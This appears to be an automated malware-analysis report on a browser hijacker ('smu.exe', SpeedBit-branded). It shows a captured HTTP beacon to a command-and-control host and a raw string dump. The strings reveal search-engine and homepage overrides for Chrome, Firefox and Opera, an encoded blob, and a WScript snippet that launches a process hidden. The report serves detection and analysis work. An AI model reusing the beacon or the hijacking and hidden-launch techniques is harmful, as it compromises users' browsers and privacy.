GET /5518.ashx?e=eFCD8T/coicbrW3BnhHoaMXsDvTExD YnvZi s3jtzH3VPP0BYZZ/JwQnkcbjmdiLntfO9v5CwenNguChnjFY0cD3AT7d20xrCmMysMfb/T/P2ixoJmw3FdmQqJ1xmaVqGvv5sqhroDaM1aE/ClNTQoNsbMcAjZ56DDk8zW/hUJWOvghCBTr/TdVMo67fxO0s IILilpWF3RSHJGpxLr0ubPO1c V YYi53VvsfKir4uTGF2cL9EmtvhlH7qLNe2qcNRkPd4KMvKLtIqZz8gHAuCtKRlIVo2d3 uKF6e7H0PCo jLvL970WABgPsiU45dFGXRCXV7xf3 1FJRB3435mtBiUzskSX HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:17 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Wed, 02 Sep 2015 23:21:17 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......







The Trojan connects to the servers at the folowing location(s):







smu.exe_2840:




.text
`.rdata
@.data
.rsrc
@.reloc
[email protected]
<:%u4
t8Ht.HHt#
F2t%f
#t.Ht
 2 34 567
j.Yf;
_tcPVj@
.PjRW
broken pipe
inappropriate io control operation
not supported
operation in progress
operation not permitted
operation not supported
operation would block
protocol not supported
function not supported
operation canceled
address_family_not_supported
operation_in_progress
operation_not_supported
protocol_not_supported
operation_would_block
address family not supported
0123456789-
%b %d %H : %M : %S %Y
%m / %d / %y
%I : %M : %S %p
%d / %m / %y
operator
GetProcessWindowStation
?456789:;<=
!"#$%&'()* ,-./0123
unzip 1.01 Copyright 1998-2004 Gilles Vollant - hXXp://VVV.winimage.com/zLibDll
1.2.3
SQLite format 3
REINDEXEDESCAPEACHECKEYBEFOREIGNOREGEXPLAINSTEADDATABASELECTABLEFTHENDEFERRABLELSEXCEPTRANSACTIONATURALTERAISEXCLUSIVEXISTSAVEPOINTERSECTRIGGEREFERENCESCONSTRAINTOFFSETEMPORARYUNIQUERYATTACHAVINGROUPDATEBEGINNERELEASEBETWEENOTNULLIKECASCADELETECASECOLLATECREATECURRENT_DATEDETACHIMMEDIATEJOINSERTMATCHPLANALYZEPRAGMABORTVALUESVIRTUALIMITWHENWHERENAMEAFTEREPLACEANDEFAULTAUTOINCREMENTCASTCOLUMNCOMMITCONFLICTCROSSCURRENT_TIMESTAMPRIMARYDEFERREDISTINCTDROPFAILFROMFULLGLOBYIFISNULLORDERESTRICTOUTERIGHTROLLBACKROWUNIONUSINGVACUUMVIEWINITIALLY
CREATE TABLE sqlite_master(
sql text
3.7.2
CREATE TEMP TABLE sqlite_temp_master(
208.69.150.250
208.69.150.252
8.8.8.8
SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\
Catcher.ProcessId:
Catcher.Path:
Watcher.Filter:
2.3.12.1634
smu.exe
Chrome
Report.xml
/Url:
Report factory:
Update.xml
URLSet
Report
homeURL
suggestURL
newTabURL
ieSearchURL
chSearchURL
ffSearchURL
opSearchURL
chromeKeyword
[UpdateParser::Implementation::UpdateParser::ParseUrlSetSection]
vup.tmp
Argument.CheckResult:
Argument.IsRunning:
Delivery of report succeeded. TaskId:
Delivery of report failed.
SHDeleteKeyW
RegDeleteKeyExA
RegDeleteKeyExW
CCCzdef1,11111111-1111-1111-1111-111111111111
NtQueryKey
1.3.6.1.4.1.311.2.1.12
urls
ERROR: %s
SELECT * FROM urls
WebData path:
favicon_url
keyword
originating_url
suggest_url
keywords
keyword LIKE '
WHERE key = 'Default Search Provider ID'
key = 'Default Search Provider ID'
DELETE from keywords WHERE id =
search_url
icon_url
startup_urls
chrome_url_overrides
urls_to_restore_on_startup
www-searching.com
template_url_data
image_url_post_params
instant_url
instant_url_post_params
search_terms_replacement_key
new_tab_url
search_url_post_params
suggestions_url
suggestions_url_post_params
chrome_settings_overrides
session.startup_urls
web_url
search_icon.png
&#xX;
</%s>
%s="%s"
%s='%s'
<![CDATA[%s]]>
<!--%s-->
version="%s"
encoding="%s"
standalone="%s"
Snapshot.xml
MozillaFirefox
GoogleChrome
AboutTabsUrl
HomePageUrl
DefaultProviderKeyword
UrlsToRestoreOnStartup
StartupHomepageUrl
Chrome propagate flags:
Firefox propagate flags:
ParentKey:
rDz2oLrxEd7tqorlxPHCSbpkVt/bZZuclcedjgvjrx5tDx7XnfZQjbd9WRhEjQzrKQBL lchgPpw2joBB IwFAu5RW4JcZP3S5Jm3QM9klwivxpzRjh9 jFGeuCwg7fa/HM15lK3jTHXUjVPnIEadpmY4jv7ywlegYHRQyc7xc1XcTe2TccuzmMaLo68YiE5vPkmCDlASCbtMpHFeFcupx0t7OgkYmbDHAwQlgu djTn6nQfC1xHBcRL7fYjaJ2ad6dGOUZAsbHeIpUSp4nxGHOmvAL06vqJh3DTzsSO7EPDVz0yD8gc QDljr2BUAvuNQBfQLANtmT37rJ0C7hqUSVg1mD68 CZrHjd1CeJmHamAXlseJPSnm KFnG/1c coF3P58SUT r/DM6745nlDqpqg2fjiUstyu69sMwUOFgbB6/PgPG0VAckChf Pylb9b7DIN1HCdWS  O3BxhtsiIkpaPOUuahRNtoT4DpvGf1R SjMvvia f1Tk4EbUjpkeT/SHrpFL/1Bygwwpd0nFaFLRdhAD34FQkAPT/sP2Yq0DvG5FczLuhzkVhxYkkcNsdHIIn4Pj7VwA1dYGg6YME6txpWMi6IsUM7JtNamFSHj5S3RyMY2HkpWlnehRIEWOU8rufd/8NxdxEh4hGldz9z6FDkN13F9KpCCJD8p6gHgIHi46nRIyLhtzHs/FWgpIBScgh4 iUXE2ilHKH TRuonsl8u6HjwFVtlL8PW/lp7SBs9wnHQwEYX2vppXvwar4qeOKyNcGnOSf7FYTwmHhsc3yvZmCUslXEwpIEruKGRieVqJvUb9SQdo04iRwEkfTsVeERRWKuoAw/ttnJlJhzCghYsBqKYx1GlhZbZo9QDMXkGhZfJvEzr2MoBfZ9IleeloO2xfLoM74nC0dxiWyC TXMw9k6pY NY534Wmh Y12vy1sB3oX4EMJycv8h/bDGNdfdCNKPTvOdX6bbP cU6Tgq9ZzAbXeb7DvI4iRxfch63IFn6sz55sw6K2WVADtytAT0LQ0z5I5lEeaBbuysREfZQZl9GUs6cncIdRRsJOWk0C7LrrCvmdUvmm6wCSPhteAIrMvwtOjxBits2XlplkTxaJMfOLcgBrigpnJq1oHslokry4IzFwOof70pLBoR BvjOV3j7UWo9 dCNhbDBvLmNnPEuBRlH0rJEQNQ7E1uLC7RQ/bHIOjGxIG267/iQ3QpvhLBc3HhWgw4zXBntyzc1TsWFRzYDAG z4XsjeXqTBj5jX/1Z6MGyvYxYlVgcxFtQXZphihfRO4TFYmInczbFheMg6g7L2gAbu/bQftTSM3Gk9h1TZvO753sFgpAu5HpzAB nwdqTgSdjFxVQYmLxtAxtGyoMBo1SY3w2Yt6ZBhjvfAFmMg9W7Quiex4rwUPY2phen8AwEaM3QV4ELy/Rwz2G8E8gRj1QMYCaZcewRIj S1rQtxx8FGCU svnd bqHqA9lOq52fOkjdu2ALbbk rd1BPpBdvwY6giLkGVBZkNaxzifKFbMWqFp1f4YcINMpvHONCm4msq2 EbUu4ouR/hFrYkKlZf97yzsy 76BSgPhqxdJuY02GjlcZGNGJBwUSnjxB8jKxC1gOzFVxPL W7nVU QXQ5HrHtflvF4G4NoWAC vtp9a22bq ULuTu1f9LA7aAe0KPRL5RjaHDbveVCYCRm0QcIYjvND1OZbSxHBHVjukFmCdvdbqjiduWpgFtPly96JlJFDeDF/2iVnCEjyiRxvRoY2a/vPYSqcsyhyDwgne/PDbCLW9iU0F1Yma7ADBunbsZFYklmUaLAn kdzmm5dHz8WEcYotx5fiMIAFvTNNkJKk3l7gctXoMwa61 8hcgH1IAfMZgMBE8M5FhEPn8UDmWiw vZccVn1BaNIVuTXA/g3TXWtw61tlvIz742S7f0dAw1Z2tvGQP0kT9 XdJj1 5pY8GHmSMRJb3SOB0TIDbnP7k3zz3x8bNcre0XZ2GwIZBRs68rmk/Jzn7u45EkfvXmFejM5qKNqLOj5Cpku6Avi54Uuq6iG6/lMzVthlWWyMyz9WnbrUvgA8//ed60WWAg2ADOaopG6S4r8B02JHwdn8ZNEQn5Iku3Y0vnc9zwCmuEeU5aL783crzK Rqt7mZffHAaDfnuWcfmLDrgGQjz/EorwYyG7N7bno/I3RF8S0ULuJfosVFOikILFxZbyk4MyiLqoYWOIBJiIjmG7sSPmNuTv0U9MGH1cWIFnSok1FmWfXK9SyQ8j3 UOYPGtQW1mTjauPg1NnRGsxGe1tXhnLcIlpK/QWjs8jCBJ6Dx0k21TFFIG6hx5gNXRYrUw abeKMzLXvwOLz6jqtbZjZhTbI2dQGartWNchdsO6WigCO8MA1AmO5EPCynaeMIiebrn2vtdI wEM0MWez orMF0j O8YRhxP6uZG9JO0us6H5dQva4TL1j5RN/NG4DlC/mfJcT4hfAhUZxzX9VEBuW Ixx0w8HtS3YAkSYtwYqUB08DXihh2EQn UdNM2vWd8DUR7Jfs8VGPJefn7C2XoDnhLXBmUtfDIdSopov9LF9Irss5U9wE39MOEmQK  XF0LYFm0MNlncLepcPBaqDNn48oKlgc XEjFn3kC uqIrsc/BkTOX50BFnyuQe/3t4JyifK24T3JlHhYLrN7U8XHnQGTmbX6Jmbab1d3hGxeAPXGPc/TBlWuRlOQo7E7 /SZJAxGZ13KUIMI65CsftoTkctXMRMRvMLNtmDAFZ6RC5awFmJUuH0k5NoF3r1ITFyR9BSKENVR0xFcKahmqnkmvh22OpYVJythHgVTHY6kSK69Wxvp5GIVJe8FOiHoa1UaWXXpMH u6H8fyJqDzkPTk4bMJr0IqzruXXy4C lMp02Ta1EZqZ4LEM25YEVMSP42bwFEHVjqi 1KbaTt5ZEl3glyMulqCMOS9t04Dcz qamgzM26muS4RFZspdV4 ZRsbxwI0tglrh7o/Qt04Z7Ud0Vlf5nzBmb8GVMqcdTdlTJlThMD TfzbXNqmFGUyFXgTtXTKHNln2ILeEZCJFm13cKJ8I77diH1xOofJUvwGBQyZ1tIp9ToOLVGipJZh ybUpHwIQERilwFpdgVjM96ljLZqdSUPHobSxccFA7qXwII5N/NavtVegmtsDZ3Vo9NiuF41qR8e04/s8zGXWxxZxdCKIg3Lxkanfp3I018i94k9uGFuJzCW3ENiQ95f701b8dT7P25xUx6yVVFzd5rrgfnPdCMd0W44kPSSfFnHDvagDcn3hVLuDoqYEt279k61Hye0rlDa55DR00uXjBMcBnrym3xcjjCP92N1a BZv2prBLuBK36rY2JLW9caOGvN0AwQ8jrsJXCy/P2iGpnxGOZMbCymjIWxGVfdo7tRnDOTapJijHeYIs0ocqxz4qoAQ0V8KhaOoSJvaeEfT1ny1ajPnB5RSKfjqUlnAJZRZJsb8jYjEVetQbc1Z/Gxy3Q9btkNAIY1vr7qpb2/GPPkLxbPsab2yYXgqSp58NbJq1GT90 l0DHsLtutKaghoK7u8P 1YFF 7ECmqGGmAa2QumuSogAt8C7OCWkRoc239Wa9moXVUEBtSPDRCF1vrEpnmVb uE2K0x2kpyLTnzwLpaiH4ItiS ARDt9c2aA9RLxUkGWVb toybApu0o5XTjtFVrUALaTJ5y5fOXzy8hrbH81/IOMV0MgUd5dKJFHMH /dnVvrV mRxybjFvB95B3VZHLZsBYhCwi1ubOUqntHspciiwnlNPhyqAoU2YgOqqH UAJ9fFS83GiYZte2egV2EoZFWF7KZm8NHKIB3odjjU1eK4sNBiseSi5OH/N2CrEzAbi9Z5ovbepTpn4e6jiQMbH0o6dh2ylMhmpiJeV4MSodV7yH0J4aY5WEU/HThGaYSIrfEIfl3Y8OqV/EDPWm3pHwFUKoxXI4hxkx2TGxZKx3gByInRwYSSbSarZgS2ZENN1jIhYCL/zt8FinlhiMsLZXi BaF61dxA 4T4skKuMyffuoveNe1EidkpbVubUN9B9jCP5BU8Z3uHPpCBLbArzcpW6Mf wCC/QM7b4/GvAcgRHN3BCajQoRDuw9T8F4EpJgzyDBZBiwxfio6cAV9IQE9N8vkUcTvb7tjOnNNlt4jHur2ggmlygIg74SSorD5KQYtulF1GtLjEfc7r yM641jR2b6tQXK3dhBBeUlH811h0KVf6QFwSrqXmE5fa0MlelImv36InIwkcADTxVZ5fVvIQQVqsH1xWZTWikdcNBLtlpBujGUQufGv7W7VlWohRdBOpyyhsnpPKojvjQDEwTUn8MknS2mbvNguCCUvc4JbP/Gl3NeOOzoA4lcVmIrzgHW85v4J I3 b0AK299i8hkt uNHhxu830uVufOUTMSwR4GrrPJ8FoTfqPVLvI0/Y3PF1LLU1XM TVF83IMrHvl8n73btcFeS0DttowqnBUtKN9Jun/voeLMe1g9vZ9 FtXTkxZkgwo9S0f3bx1m1QygaRLnV9akWR6HEJ1xA3lcNCTi8GAWRd5IiOWTGWQz1XS055V6LvFiYMO11Bl48PYy7E5OAI2ESPVcznylZrtGhDmvprOqGd8oxYJzKwhGCwC8pnE2McKjsW2xpfD T9hBm/t8oyGvcmke8Q4EkFtbm7gbezN0I1S8B94 dWz9/m6V7AipZ9jR/FpIA XX5lT1CeQPd5 lBP2OYJkEPxHrxDaeBwNT3hEf5Ov yIJWKxbjMbcGK73GIXxwewdRVbBEee8e8Sm4euvIhO xNjQXmEd0Wn4f7e1 xHH1jpW1ObVWgKNGBUHlpIcw26SSGBdlM4qKzDKglTaj6aLg6s0UkXyGfqxPvW9rhhCWvujpEVgB5053CSbqy1ucw2l/G5Tyurk9KILPl 9mbszv86xmhBAFKqkSRf0RGq7mdOxDeKp ZWALgfbQpEAHE/wI3HCI7jG5tZbcfXIqPccGYKXdMsDJtPVFhkarxbZhWdlrZwpdUkjdHBgdnB8u0dXcR3RJKFd FIkhCY5DBOBGgNO5qhAc5Wd9AdrhbARpylrHznSEqJFU4SXEQiEEM2PGQHvmAzrfp9FdnnsXr J 5L4W6MxMFWIYDoxxRC1pfmMUtO3XQuEMeHkPHXj/7CPo8VXVzqBGhfo0g6lZCJW3572COYrDJGjiiGVDTt3lqVfwFE3wl7/nO5gy/oOnzjolGLMRsVv3UxIKY7wSRUI8VNwYmDhecqIeTowvWvm3Ogh52LIUf4H nQqb4QahUECz/jDEAYXJ0FNRzzqjsDehVf0dDn8qeajbqzopUccqQ7/s3so0CxYkDSO01CzoNe sS4OE8E/trLqK9aLDgfeXz2qd/4NI4raydy6Xg0vGBxhJeJVgG4tZRZCS74FWnpzUW4cTiJ7VwFPmVCGBGLdyqCXd5jh0cbL9p3BHDpIrPBXwE3G/SybQCKXWweqXBwX5airKzE3DgpqGwQ fNzV2IozfuNhvHkZqtVenBKVHSZBfTu92bi1WAbUO1gH4cDwRFjht6eq39e ewC/86Z7GWfW21naMOVH 6MSsfgXatGqmVHkc0RkG/HfqZxNJiOu//jOQ5pn1jezANGNjuCB25JKd5EgyYkQoaMXbzczP7NEPhVwCubR194OmKE5LOFyDE3iUKHozwPLenrObAB/MjkvKQjL6hrxfzT4PsY9IeglAFOW59163YDRdd/En8UMaO XQeiNzXcXjLVOZUgAofh9a5 ncBbOAi5kq4AOdTrV5sryxFxdsOLLl0HGcxGTjRAIfrBnlYPLdx1GoTBeF3/X2QS0qwjnP4bK77CDJuZhDXyeM6lEDC c2hDG5BcTBk EMmDj2Bp7yGDKpdcb3wWCa2Bb a5tYl8TJM6oArCnqPEiwr5CcwPYnPThgsNrA2r/ub6ETp6j8uiNOZZndiQkGI9Vp aTUhM lWAojBLlyZVUQr72wlMCrs3blNi794bkhcPvqrwWU=
2, 3, 12, 1634
Envelop.xml
UrlSet
Configuration.xml
Opera
StartPageUrl
AboutTabUrl
SearchScopeUrl
SearchScopeIconUrl
SearchScopeSuggestUrl
DefaultProviderSearchUrl
DefaultProviderIconUrl
DefaultProviderSuggestUrl
SearchPluginUrl
SearchPluginSuggestionUrl
TabPageUrl
SearchEngineFaviconUrl
SearchEngineSuggestionUrl
SearchEngineSearchUrl
SearchEngineKeyword
System.xml
Reset-2.1.0.7
ReportUrl
UpdateUrl
ReportDlls
User.xml
Argument.Snapshot:
Argument.GeneralConfig:
Argument.Flags:
Argument.StartPage:
Argument.Autosearch:
Argument.NewTabPageShow:
Argument.SearchScopeId:
Argument.Tabs:
select count(*) from sqlite_master where type = 'table' and name = '
%d-%m-%Y %H:%M, %a
unable to close due to unfinished backup operation
SQL logic error or missing database
large file support is disabled
unknown database: %s
no such vfs: %s
misuse at line %d of [%.10s]
database corruption at line %d of [%.10s]
cannot open file at line %d of [%.10s]
SQLITE_
d-d-d d:d:d
d-d-d
d:d:d
failed memory resize %u to %u bytes
failed to allocate %u bytes of memory
API call with %s database connection pointer
922337203685477580
RowKey
%s-shm
OsError 0x%x (%u)
%s\etilqs_
Recovered %d frames from WAL file %s
2nd reference to page %d
invalid page number %d
Bad ptr map entry key=%d expected=(%d,%d) got=(%d,%d)
Failed to read ptrmap key=%d
failed to get page %d
%d of %d pages missing from overflow list starting at %d
Page %d:
freelist leaf count too big on page %d
btreeInitPage() returns error code %d
unable to get the page. error code=%d
On tree page %d cell %d:
On page %d at right child:
Multiple uses for byte %d of page %d
Corruption detected in cell %d on page %d
Fragmentation of %d bytes reported as %d on page %d
Page %d is never used
Outstanding page count goes from %d to %d during this analysis
Pointer map page %d is referenced
keyinfo(%d
%s(%d)
foreign key constraint failed
%s-mjX
unable to use function %s in the requested context
bind on a busy prepared statement: [%s]
zeroblob(%d)
constraint failed at %d in [%s]
abort at %d in [%s]: %s
no such savepoint: %s
cannot open savepoint - SQL statements in progress
cannot rollback transaction - SQL statements in progress
cannot %s savepoint - SQL statements in progress
cannot commit transaction - SQL statements in progress
sqlite_temp_master
SELECT name, rootpage, sql FROM '%q'.%s WHERE %s ORDER BY rowid
sqlite_master
cannot change %s wal mode from within a transaction
statement aborts at %d: [%s] %s
database table is locked: %s
cannot open view: %s
cannot open virtual table: %s
foreign key
no such column: "%s"
cannot open %s column for writing
indexed
cannot open value of type %s
misuse of aliased aggregate %s
%s: %s.%s.%s
%s: %s
%s: %s.%s
not authorized to use function: %s
%r %s BY term out of range - should be between 1 and %d
too many terms in %s BY clause
variable number must be between ?1 and ?%d
Expression tree is too large (maximum depth %d)
too many columns in %s
too many SQL variables
misuse of aggregate: %s()
%s%.*s"%w"
%.*s"%w"%s
sqlite_rename_table
sqlite_rename_parent
sqlite_rename_trigger
%s OR name=%Q
there is already another table or index with this name: %s
table %s may not be altered
sqlite_
UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
view %s may not be altered
sqlite_sequence
UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d 18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
UPDATE "%w".sqlite_sequence set name = %Q WHERE name = %Q
Cannot add a PRIMARY KEY column
UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q
sqlite_stat1
sqlite_altertab_%s
CREATE TABLE %Q.%s(%s)
DELETE FROM %Q.%s WHERE tbl=%Q
invalid name: "%s"
SELECT idx, stat FROM %Q.sqlite_stat1
too many attached databases - max %d
database %s is already in use
unable to open database: %s
cannot detach database %s
no such database: %s
database %s is locked
sqlite_attach
sqlite_detach
%s %T cannot reference objects in database %s
access to %s.%s is prohibited
access to %s.%s.%s is prohibited
object name reserved for internal use: %s
too many columns on %s
there is already an index named %s
default value of column [%s] is not constant
duplicate column name: %s
AUTOINCREMENT is only allowed on an INTEGER PRIMARY KEY
table "%s" has more than one primary key
no such collation sequence: %s
UPDATE %Q.%s SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%d
CREATE %s %.*s
CREATE TABLE %Q.sqlite_sequence(name,seq)
view %s is circularly defined
table %s may not be dropped
UPDATE %Q.%s SET rootpage=%d WHERE #%d AND rootpage=#%d
use DROP VIEW to delete view %s
use DROP TABLE to delete table %s
DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'
DELETE FROM %s.sqlite_sequence WHERE name=%Q
foreign key on %s should reference only one column of table %T
DELETE FROM %Q.sqlite_stat1 WHERE tbl=%Q
unknown column "%s" in foreign key definition
number of columns in foreign key does not match the number of columns in the referenced table
indexed columns are not unique
table %s may not be indexed
virtual tables may not be indexed
views may not be indexed
index %s already exists
there is already a table named %s
table %s has no column named %s
sqlite_autoindex_%s_%d
INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
CREATE%s INDEX %.*s
no such index: %S
DELETE FROM %Q.%s WHERE name=%Q
index associated with UNIQUE or PRIMARY KEY constraint cannot be dropped
DELETE FROM %Q.sqlite_stat1 WHERE idx=%Q
a JOIN clause is required before %s
unable to identify the object to be reindexed
cannot modify %s because it is a view
table %s may not be modified
sqlite_source_id
sqlite_version
sqlite_compileoption_get
sqlite_compileoption_used
foreign key mismatch
table %S has %d columns but %d values were supplied
table %S has no column named %s
%d values for %d columns
%s.%s may not be NULL
PRIMARY KEY must be unique
sqlite3_extension_init
no entry point [%s] in shared library [%s]
unable to open shared library [%s]
automatic extension loading failed: %s
error during initialization: %s
foreign_keys
foreign_key_list
*** in database %s ***
unsupported encoding: %s
malformed database schema (%s)
%s - %s
SELECT name, rootpage, sql FROM '%q'.%s ORDER BY rowid
unsupported file format
database schema is locked: %s
RIGHT and FULL OUTER JOINs are not currently supported
unknown or unsupported join type: %T %T%s%T
cannot have both ON and USING clauses in the same join
a NATURAL join may not have an ON or USING clause
cannot join using column %s - column not present in both tables
%s.%s
ORDER BY clause should come after %s not before
%s:%d
SELECTs to the left and right of %s do not have the same number of result columns
LIMIT clause should come after %s not before
sqlite_subquery_%p_
no such index: %s
no such table: %s
sqlite3_get_table() called with two or more incompatible queries
cannot create %s trigger on view: %S
INSERT INTO %Q.%s VALUES('trigger',%Q,%Q,0,'CREATE TRIGGER %q')
cannot create INSTEAD OF trigger on table: %S
no such trigger: %S
no such column: %s
-- TRIGGER %s
PRAGMA vacuum_db.synchronous=OFF
SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND rootpage>0
SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %'
SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %'
SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0)
SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
UPDATE %Q.%s SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q WHERE rowid=#%d
vtable constructor did not declare schema: %s
vtable constructor failed: %s
no such module: %s
at most %d tables in a join
table %s: xBestIndex returned an invalid plan
TABLE %s
cannot use index: %s
%s WITH AUTOMATIC INDEX
%s AS %s
%s VIA MULTI-INDEX UNION
%s WITH INDEX %s
%s VIRTUAL TABLE INDEX %d:%s
%s USING PRIMARY KEY
%s ORDER BY
the NOT INDEXED clause is not allowed on UPDATE or DELETE statements within triggers
the INDEXED BY clause is not allowed on UPDATE or DELETE statements within triggers
SHELL32.dll
SHLWAPI.dll
GetProcessHeap
KERNEL32.dll
USER32.dll
RegOpenKeyExA
RegCloseKey
RegOpenKeyExW
ADVAPI32.dll
ole32.dll
OLEAUT32.dll
WinHttpReceiveResponse
WinHttpSendRequest
WinHttpConnect
WinHttpCloseHandle
WinHttpQueryDataAvailable
WinHttpOpen
WinHttpOpenRequest
WinHttpReadData
WinHttpGetIEProxyConfigForCurrentUser
WINHTTP.dll
GetExtendedTcpTable
IPHLPAPI.DLL
WS2_32.dll
PSAPI.DLL
WTSAPI32.dll
Secur32.dll
CryptMsgClose
CertGetNameStringW
CertFreeCertificateContext
CertFindCertificateInStore
CertCloseStore
CryptMsgGetParam
CRYPT32.dll
USERENV.dll
HttpSendRequestExW
HttpSendRequestW
HttpAddRequestHeadersW
HttpQueryInfoW
HttpOpenRequestW
HttpEndRequestW
WININET.dll
CreatePipe
ConnectNamedPipe
CreateNamedPipeW
DisconnectNamedPipe
GetNamedPipeInfo
GetCPInfo
RegCreateKeyW
RegCreateKeyExW
RegOpenKeyW
RegQueryInfoKeyW
RegDeleteKeyA
RegDeleteKeyW
RegEnumKeyExA
RegCreateKeyA
RegCreateKeyExA
RegQueryInfoKeyA
RegOpenKeyA
RegEnumKeyExW
RegEnumKeyW
zcÁ
.?AVImplementation@ReportBuilder@Monitor@SpeedBit@@
.?AVReportBuilder@Monitor@SpeedBit@@
.?AVHistoryReportFactory@Implementation@ServerReporter@Monitor@SpeedBit@@
.?AVImplementation@ServerReporter@Monitor@SpeedBit@@
.?AVServerReporter@Monitor@SpeedBit@@
.?AVReportFactory@Implementation@ServerReporter@Monitor@SpeedBit@@
.?AVSendReportTask@Implementation@WatchmanMonitor@Monitor@SpeedBit@@
.?AVEventHandler@SendReportTask@Implementation@WatchmanMonitor@Monitor@SpeedBit@@
.?AVCHttpAsync@@
.?AVPipedProcess@Utils@SpeedBit@@
.?AVImplementation@PipedProcess@Utils@SpeedBit@@
.?AVImplementation@MachineKey@Utils@SpeedBit@@
.?AVMachineKey@Utils@SpeedBit@@
.?AVCHttp@@
.?AVChromeBrowserHistory@SQLite@SpeedBit@@
.?AVException@sql@@
.?AVLoader@Extension@Chrome@SpeedBit@@
.?AVImplementation@Extension@Chrome@SpeedBit@@
.?AVBrowserInfo@Chrome@SpeedBit@@
.?AVFactory@BrowserInfo@Chrome@SpeedBit@@
.?AVImplementation@BrowserInfo@Chrome@SpeedBit@@
.?AVImplementation@Factory@BrowserInfo@Chrome@SpeedBit@@
.?AVExtension@Chrome@SpeedBit@@
.?AVWebDataDB@SQLite@SpeedBit@@
.?AVImplementation@WebDataDB@SQLite@SpeedBit@@
.?AVFirefoxSettings@Implementation@Snapshot@Injection@SpeedBit@@
.?AVSettings@Chrome@Snapshot@Injection@SpeedBit@@
.?AVChromeSettings@Implementation@Snapshot@Injection@SpeedBit@@
.?AVSettings@Firefox@Snapshot@Injection@SpeedBit@@
.?AVSettings@Chrome@General@Config@SpeedBit@@
.?AVUrlSet@Implementation@General@Config@SpeedBit@@
.?AVFirefoxValueSet@Implementation@General@Config@SpeedBit@@
.?AVOperaSettings@Implementation@General@Config@SpeedBit@@
.?AVSettings@Firefox@General@Config@SpeedBit@@
.?AVSettings@Opera@General@Config@SpeedBit@@
.?AVFirefoxSettings@Implementation@General@Config@SpeedBit@@
.?AVChromeSettings@Implementation@General@Config@SpeedBit@@
.?AVChromeValueSet@Implementation@General@Config@SpeedBit@@
.?AVValueSet@Chrome@General@Config@SpeedBit@@
.?AVUrlSet@General@Config@SpeedBit@@
.?AVValueSet@Firefox@General@Config@SpeedBit@@
.?AVChromeSettings@Implementation@User@Config@SpeedBit@@
.?AVSettings@Firefox@User@Config@SpeedBit@@
.?AVFirefoxSettings@Implementation@User@Config@SpeedBit@@
.?AVSettings@Chrome@User@Config@SpeedBit@@
.?AVProfile@Implementation@InstallInfo@Firefox@SpeedBit@@
.?AVInstallInfo@Firefox@SpeedBit@@
.?AVProfile@InstallInfo@Firefox@SpeedBit@@
.?AVInstallInfo@Implementation@0Firefox@SpeedBit@@
.?AVBrowserSettings@Implementation@0Firefox@SpeedBit@@
.?AVBrowserSettings@Firefox@SpeedBit@@
.?AVBrowserSettings@Implementation@0Chrome@SpeedBit@@
.?AVBrowserSettings@Chrome@SpeedBit@@
if (WScript.Arguments.length > 0)
var root = WScript.Arguments(0);
for (var i = 1, n = WScript.Arguments.length; i < n;   i)
args.push(WScript.Arguments(i));
var path = "\""   root.replace(/\\*$/, "").replace(/\//g, "\\")   "\"";
path  = " \""   args.join("\" \"")   "\"";
var shell = WScript.CreateObject("WScript.Shell");
shell.Run(path, 0, false);
<requestedExecutionLevel level='highestAvailable' uiAccess='false' />
1(1-1F1S1X1n1}1
00151@1\1
040;0_0~0
?%?)?.?3?>?
88
=2=9=`=->:>
0"161\1}1
<0;5^5}6
1!1)141=1
8"9(9,90949
>.?4?8?<?@?
2 2$2(2,272
:%:,:2:8:
4 4$4(4,4044484<4@4
$5(5,5054585
; ;$;(;,;0;4;8;<;@;
> >$>(>,>0>4>8>
? ?,?0?4?8?<?
,0004080
6 6$6(6,6
7 7(707<7`7
combase.dll
kernel32.dll
mscoree.dll
- floating point support not loaded
- CRT not initialized
- Attempt to initialize the CRT more than once.
portuguese-brazilian
USER32.DLL
Injection::Snapshot::Controller::IsChromeInstalled
Chrome installed:
